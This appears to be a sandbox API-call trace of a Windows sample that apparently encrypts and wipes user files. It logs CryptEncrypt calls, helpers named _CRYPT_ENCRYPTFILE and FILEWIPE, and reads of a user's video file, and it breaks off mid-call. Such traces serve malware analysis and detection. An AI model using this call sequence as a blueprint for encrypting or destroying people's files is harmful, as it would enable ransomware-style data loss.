CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.790] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13e9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13f0) returned 1 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] CharLowerBuffW (in: lpsz="byte[5105]", cchLength=0xa | out: lpsz="byte[5105]") returned 0xa [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.791] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4193360*, pdwDataLen=0xe8f3dfdf68*=0x13e9, dwBufLen=0x13f0 | out: pbData=0xe8f4193360*, pdwDataLen=0xe8f3dfdf68*=0x13f0) returned 1 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.791] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.792] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.792] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.792] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.793] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.793] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.793] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.793] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.793] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.794] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.794] CloseHandle (hObject=0x1fc) returned 1 [0029.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.795] CloseHandle (hObject=0x188) returned 1 [0029.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.797] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.797] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.797] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\57pmn0L60_.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\zz1u79slm s\\57pmn0l60_.mp4")) returned 0x20 [0029.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.797] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\57pmn0L60_.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069d70 [0029.797] FindClose (in: hFindFile=0xe8f4069d70 | out: hFindFile=0xe8f4069d70) returned 1 [0029.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.797] CharLowerBuffW (in: lpsz="byte[5097]", cchLength=0xa | out: lpsz="byte[5097]") returned 0xa [0029.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.798] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.798] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.798] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.798] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.799] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.799] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.799] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.800] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.800] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.801] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11915) returned 1 [0029.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.801] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.801] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2e8b, lpOverlapped=0x0) returned 1 [0029.802] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.802] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2e8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.802] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11915) returned 1 [0029.802] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.802] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.802] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.802] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.802] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.802] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.802] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.802] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.803] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.803] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: 